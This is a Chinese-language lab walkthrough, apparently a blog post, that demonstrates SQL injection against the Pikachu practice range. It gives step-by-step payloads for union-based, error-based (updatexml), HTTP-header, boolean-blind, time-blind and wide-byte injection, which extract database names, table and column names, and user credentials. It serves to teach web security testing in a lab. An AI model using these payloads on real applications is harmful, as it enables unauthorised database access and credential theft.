Pikachu(皮卡丘)靶场中SQL注入

1.Pikachu(皮卡丘)靶场中SQL注入

  若遇到不链接的可以参考我的一篇文章,里面包括了绝大部分的注入方式,并且配合案例演示。链接:SQL注入基础原理与案例(超详细)

1.1.数字型注入

  1)其实这里能够看到和dvwa靶场中的medium级别差不多,没有地方进行注入,只能进行抓包测试。
在这里插入图片描述

  2)这里和上面的low级别一样,采用正常的联合查询。并且这里已经提示是数字型注入了,那么这里就不进行注入类型测试。直接查询显示位。
输入1 order by 3#发现报错,那么这里的数据库的列为1和2。

1 order by 3#

在这里插入图片描述

  3)查询显示位名,输入-1 union select 1,2#

-1 union select 1,2#

在这里插入图片描述

  4)查询数据库名,输入-1 union select database(),2#获取数据库名为:pikachu。

-1 union select database(),2#

在这里插入图片描述

  5)获取数据库的表,输入-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=“pikachu”# 通过获取到的数据库表,我们只需要里面的users。

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema="pikachu"# 

在这里插入图片描述

  6)获取数据库的列,输入-1 union select 1,group_concat(column_name) from information_schema.columns where table_name=“users”#获取到数据库的所有列,而在里面我们只需要username和password。

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name="users"#

在这里插入图片描述

  7)获取数据库的账号密码,输入-1 union select group_concat(username),group_concat(password) from users#获得账号密码,密码是加密的,可以进行解密就能获取到了。

-1 union select group_concat(username),group_concat(password) from users#

在这里插入图片描述

1.2.字符型注入

  1)这里已经告诉了是字符型注入,但是还是需要测试一下什么闭合。输入kobe’ and 1=1#的时候页面正常,并且kobe’ and 1=2#页面不正常,证明使用单引号闭合。

kobe' and 1=1# 正常
kobe' and 1=2# 不正常

在这里插入图片描述

  2)后面的注入方式和数字型基本一直,这里我就随便找几步进行测试。比如这里测试显示位。输入kobe’ order by 3#,就出现了报错。

kobe' order by 3#

在这里插入图片描述

  3)查询数据库名,输入1’ union select database(),2#,上面是kobe而这里使用1就是为了让前面报错,执行后面的语句。

1' union select database(),2#

在这里插入图片描述

  4)后面方式的和数字型注入都是一样的。

1.3.搜索型注入

  1)这里的搜索型注入和上面的字符注入都是一样的,唯一的不同点是在里面需要使用%进行闭合,这个%是在源码中采用模糊查询,所使用到的,所以在我们注入的时候需要对这个%进行闭合。那么这里测试使用上面闭合的时候就需要输入k%’ and 1=1#这样就能够正常显示数据,当输入k%’ and 1=2#的时候就无法显示数据了。

k%' and 1=1#正常
k%' and 1=2#不正常

在这里插入图片描述

  2)这里我们也不一步一步测试了,直接获取数据库输入k%’ union select database(),2,3#,可以看到我们也顺利获取数据库了。

k%' union select database(),2,3#

在这里插入图片描述

1.4.xx型注入

  1)通过对输入的内容进行测试发现当输入kobe’) and 1=1#页面能够正常显示,而kobe’) and 1=2#则不能正常显示。那么这基本上可以判断此处是采用’)进行闭合。

kobe') and 1=1#正常
kobe') and 1=2#不正常

在这里插入图片描述

  2)知道闭合了,那么就可以测试显示位了。这我测试得到的数据库是两列,而且输入kobe’) union select 1,2#后得到了显示位。

kobe') union select 1,2#

在这里插入图片描述

  3)我们这里依旧只测试到获取数据库,其他的和数字型注入基本一直,除了闭合方式。kobe’) union select database(),2#,爆出数据库名。

kobe') union select database(),2#

在这里插入图片描述

1.5.insert/update注入

  这里只是在注册处进行测试,当然还有修改信息的时候同样能够进行注入,可以自行测试。
  1)这里就需要先进行注册,填入必填项,然后抓包。
在这里插入图片描述

  2)把数据发入重放器中,并使用报错注入,在用户名后输入’ and updatexml(1,0x7e,3)and '进行测试,可以看到有报错回复。

' and updatexml(1,0x7e,3)and '

在这里插入图片描述

  3)爆出数据库名,当输入’ and updatexml(1,concat(0x7e,database()),3) and '的时候就能够爆出数据库名,数据库名为pikachu。

' and updatexml(1,concat(0x7e,database()),3) and '

在这里插入图片描述

  4)爆出数据库的表名,这里我们通过报错注入,获取到数据库的表名,但是我们只要users,其他的不感兴趣。主要是也用不到。

'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu' )),3) and '

在这里插入图片描述

  5)爆出数据库的列名,当然这里是通过分页显示的,若不分页,显示的不全。

' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),3)and '

在这里插入图片描述

  6)爆出账号密码,都需要通过分页进行显示,若不分页则无法显示完全。

账号:' and updatexml(1,concat(0x7e,(select username from users limit 0,1 )),3)and '

在这里插入图片描述

密码:' and updatexml(1,concat(0x7e,(select password from users limit 0,1 )),3)and '

在这里插入图片描述

1.6.delete注入

  1)这里先随便在留言板上输些内容,然后随便删除一个留言,并对其抓包。这里就会发现存在一个ID,可以对其进行注入测试。由于这里我们删除后并不会出现什么提示,所以这里使用报错注入测试。并且经过测试是数字型,字符型不会出现报错的内容。并且需要注意这里空格需要写出+或者%20。

id=57+and+updatexml(1,0x7e,3)

在这里插入图片描述

  2)后续的注入测试和insert/update注入一样

1.7.http头注入

  1)这里其实可以发现在登录后显示出很多信息,可以对这些显示信息的字段进行测试。
在这里插入图片描述

  2)我们刷新页面重新抓包,经过测试发现在User-Agent: 和Accept:处可以进行注入。 这里我们就在User-Agent:进行测试。

' and updatexml(1,0x7e,3)and '

在这里插入图片描述

  3)剩下的步骤和之前的一样的操作,这里就不过多操作了。

1.8.盲注(base on boolian)

  1)在一些特定的情况下,会对报错信息进行隐藏,那么就无法使用报错进行注入。像这个就需要使用布尔盲注。
在这里插入图片描述

  2)判断注入类型,通过对注入类型的判断,可以发现是使用单引号闭合。

kobe' and 1=1# 正常
kobe' and 1=2# 不正常

在这里插入图片描述

  3)判断数据库名的长度,通过之前获取到的数据库名是pikachu。一共7位,当然在实际的环境中需要手动一步一步测试。

kobe' and length(database())>8# 不正常
kobe' and length(database())=7# 正常

在这里插入图片描述

  4)判断数据库的名,判断数据库名需要一个一个字母测试,通过比对后,获取到的数据库名为pikachu,当然也可以使用ascii函数来进行获取。

kobe' and left(database(),1)='p'# 正常
kobe' and left(database(),2)='pi'# 正常
.........
kobe' and left(database(),7)='pikachu'# 正常

在这里插入图片描述

  5)猜测数据库表的数量

kobe' and (select count(table_name) from information_schema.tables where table_schema=database())>5# 不正常
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())=5# 正常

在这里插入图片描述

  6)猜测数据库表名,这里也只猜测一个案例,其他的还需自己动手测试。这里我们通过之前获取到的数据库表名有httpinfo…users。
第一个表第一个字母是h。

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0, 1),1,1))=104# 正常

在这里插入图片描述

  第四个表第二个字母是s。

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 3, 1),2,1))=115# 正常

在这里插入图片描述

  7)判断列有多少列,比如这里我判断user有多少列。

kobe' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=4#

在这里插入图片描述

  8)判断列中第一个列名的长度,通过控制limit的值来判断不同字段的长度。

kobe' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))=2 #

在这里插入图片描述

  9)判断列名,比如这里我就判断id,那么id的一个字母是i在ascii码中是105,所以正常,第二列需要变更limit后面的值来实现。通过获取,获得id列、username列、password列。

第一列第一个字母:kobe' and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105#

在这里插入图片描述

第二列第二个字母:kobe' and ord(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),2,1))=115#

在这里插入图片描述

  10)获取username中第一行数据的长度,若想测试第二行,那么修改limit的值即可。

kobe' and length((select username from users limit 0,1))=5#

在这里插入图片描述

  11)获取username中第一行第一个字母的值。通过获取得到的值是a,整体是admin。

kobe' and ord(substr((select username from users limit 0,1),1,1))=97#

在这里插入图片描述

  12)若想获取username中第二行第二个值怎么获取?可以通过修改limit的值进行获取。

kobe' and ord(substr((select username from users limit 1,1),2,1))=105#

在这里插入图片描述

1.9.盲注(base on time)

  1)时间盲注,可以在对话框中输入用户名,不显示是否正确,那么这时候就需要使用到时间盲注。
在这里插入图片描述

  2)使用时间盲注进行测试。这里使用原来的什么and 1=2啥的都不行了,需要使用时间盲注来测试,这里先测试闭合方式。

kobe and sleep(5)# 没有延迟
kobe' and sleep(5)# 延迟五秒

在这里插入图片描述

  3)判断数据库名的长度,这里为了反应快点,把正确和错误的位置调整一下,把 sleep (5),1 调整为 sleep (1),5 意思就是正确了秒回,不正确则延迟5 秒返回。

kobe' and if(length(database())=7, sleep(1),5)#

在这里插入图片描述

  4)判断数据库名。

kobe' and if((select substr(database(),1,1))='p',sleep(1),5)#

在这里插入图片描述

  5)判断数据库内表的个数。

kobe' and if((select count(table_name) from information_schema.tables where table_schema=database())=5,sleep(1),5)#

在这里插入图片描述

  6)判断第一个表的长度。

kobe' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=8,sleep(1),5)#

在这里插入图片描述

  7)判断第一个表第一个字母。

kobe' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104,sleep(1),5)#

在这里插入图片描述

  8)其实时间盲注整体上基本就是在布尔盲注的基础上增加if判断,并且与sleep配合,布尔盲注是当对的时候,返回正确的值,错误的时候返回错误的值,而时间盲注,不管正确还是错误都不会返回值,需要靠延迟判断。

1.10.宽字节注入

  1)宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个 字符是一个汉字(前一个 ascii 码要大于 128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql 会调用转义函数,将单引号变为’,其中\的十 六进制是%5c,mysql 的 GBK 编码,会认为%df%5c 是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。
  2)测试宽字节注入,和联合注入是一样的只是在内容后面添加%df即可,通过在内容输入处输入内容,然后修改。比如获取显示位。

1%df' union select 1,2#

在这里插入图片描述

  • 10
    点赞
  • 54
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

剁椒鱼头没剁椒

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值